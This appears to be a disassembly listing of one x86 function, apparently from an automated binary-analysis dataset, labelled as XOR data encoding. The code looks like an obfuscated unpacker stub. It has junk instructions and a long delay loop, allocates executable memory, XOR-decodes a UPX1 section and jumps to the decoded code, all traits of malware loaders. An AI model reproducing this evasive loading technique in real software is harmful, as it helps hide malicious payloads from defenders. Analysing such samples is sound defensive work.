Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x3a7982ce
not esi
or edx, edx
add edx, 0x58bfcf9b
popal
add esi, esi
and edx, esi
mov ecx, 0
mov edi, eax
or esi, edx
mov esi, 0x425c1d59
mov ebx, edi
inc esi
and esi, edx
mov eax, ebx
or edx, esi
sub edx, esi
inc edx
inc ecx
mov edx, esi
mov esi, 0x253031d5
sub esi, 0x9ee65f9d
cmp ecx, 0x10026ad
jne 0x47afd2
mov edx, esi
mov edx, 0xc5c0c838
cmp ecx, 0x10026ad
je 0x47b017
mov edx, 0
mov dword [edx], ebx
sub edx, esi
and edx, edx
and edx, esi
not esi
mov esi, 0x47ada2
sub ebx, 0x9796efe1
inc ecx
mov edx, 0x47af96
sub eax, 0xc524cffa
or ecx, ebx
inc eax
mov edi, dword [esi]
not ecx
mov ecx, 0x4971be6d
and edi, 0xff
add ebx, 0x46b89b24
add ecx, 0xe538c1d8
mov ebx, 0xae371e0a
xor dword [edx], edi
or ebx, ecx
mov eax, 0x5e1d9171
dec ecx
inc edx
mov ebx, eax
mov ebx, 0x1a5b531a
inc esi
sub ecx, ebx
add eax, ebx
cmp edx, entry0
jl 0x47b039
mov eax, ecx
add ecx, 1
mov eax, 0x40ff842a
dec ecx
add eax, eax
add eax, ecx
sub edi, ebx
mov ebx, 0x86a612d7
sub edi, 0xab2f40b4
mov esi, 0x47af9a
add edx, 0xf710edd2
sub ecx, edx
mov edx, ecx
mov esi, dword [esi]
add edi, 0x9edabe43
mov edi, 0xc3c0b0d2
or ecx, ecx
mov esi, dword [esi]
add ecx, 0x2deb4dc4
mov ecx, edi
add ecx, ebx
push esi
sub ebx, 0x71e7528c
mov edx, 0x636b50d8
mov esi, 0x47af96
mov ebx, edx
not ebx
mov esi, dword [esi]
dec ecx
add edx, 0x1db67b48
sub edi, ecx
mov esi, dword [esi]
add edx, 0x820ee883
sub edi, 0xf225e85c
push 0x47af9e
or ecx, ebx
not edi
mov ecx, ebx
call esi
sub edx, 1
add edx, ecx
mov edi, 0xfec79d3b
pop esi
not ecx
add ecx, 1
push 0x47afab
sub edx, edi
inc ecx
sub esp, 4
mov dword [esp], eax
and edx, edx
add edi, 0xce1da31b
add edi, edx
call esi
or ecx, ebx
sub ebx, edx
sub esp, 4
mov dword [esp], 0x40
sub ebx, ecx
sub edi, ebx
add ecx, ebx
push 0x3000
add edi, 0xfc3bb4a1
mov ecx, 0x1cdcabe3
push 0x20000e62
or edx, ebx
not ecx
push 0
not ecx
add edi, 1
add ebx, 1
call eax
add edi, edi
mov ecx, 0xa5e990b
add eax, 0x20000dfb
sub ecx, edx
not edi
mov esi, 0x3cb5b33e
sub edi, 0xc85c64b0
add edx, 0x830c31b6
add ecx, 1
mov dword [eax], esi
add ebx, edx
sub ebx, ecx
mov esi, dword [eax]
not ecx
sub ebx, edi
cmp esi, 0x3cb5b33e
je 0x47b1b5
mov eax, 0
mov ebx, dword [eax]
not edi
or ecx, edx
or edx, edx
dec ebx
add ecx, 1
not ecx
add esi, 0xa3bad147
add esi, edx
mov esi, edx
mov ecx, section.UPX1
add edx, 0x74139ef9
dec esi
inc edx
mov edi, 0x47ada1
inc edx
add esi, 0xd1aee1a3
add edx, esi
mov eax, 0
sub edx, esi
add edx, esi
mov ebx, 0x47ada2
sub esi, edx
inc edx
and esi, edx
lea ebx, [ebx + eax]
and edx, edx
sub esi, edx
mov ebx, dword [ebx]
or edx, esi
mov edx, esi
mov edx, 0xc37dbe0f
and ebx, 0xff
add esi, 1
mov edx, 0x1e3c3576
inc eax
mov esi, edx
mov edx, 0xf6bdab2d
mov esi, 0xa16cb7ea
cmp eax, 0x1f4
jne 0x47b239
mov eax, 0
or esi, edx
and edx, edx
inc edx
dec edx
xor dword [ecx], ebx
sub edx, 0x3c605c1
mov esi, 0x49857f32
add ecx, 2
not esi
add esi, 0xa451eae4
cmp ecx, edi
jl 0x47b1f2
sub esi, 0xfed59014
inc esi
and esi, edx
add esi, esi
mov edi, section.UPX1
add eax, eax
not ebx
mov esi, section.UPX1
and eax, eax
not eax
mov edx, 0x47ada1
mov ebx, 0x65205079
or eax, ebx
mov ecx, 0
mov ebx, 0xf4c75f
not ebx
mov cl, byte [esi]
dec eax
mov eax, 0xcf337c3b
and eax, ebx
mov byte [edi], cl
inc eax
sub ebx, eax
inc edi
sub ebx, eax
mov ebx, 0x250a2b89
sub eax, ebx
add esi, 2
sub ebx, 0x820e1f34
mov ebx, 0xe5c5178b
cmp esi, edx
jle 0x47b297
sub ebx, 0x7280a319
sub eax, ebx
mov esi, 0xbf9e28b3
add esi, edx
sub esp, 4
mov dword [esp], 0x45e6a0
dec edx
sub edx, 0xd2ccc6e0
inc edx
ret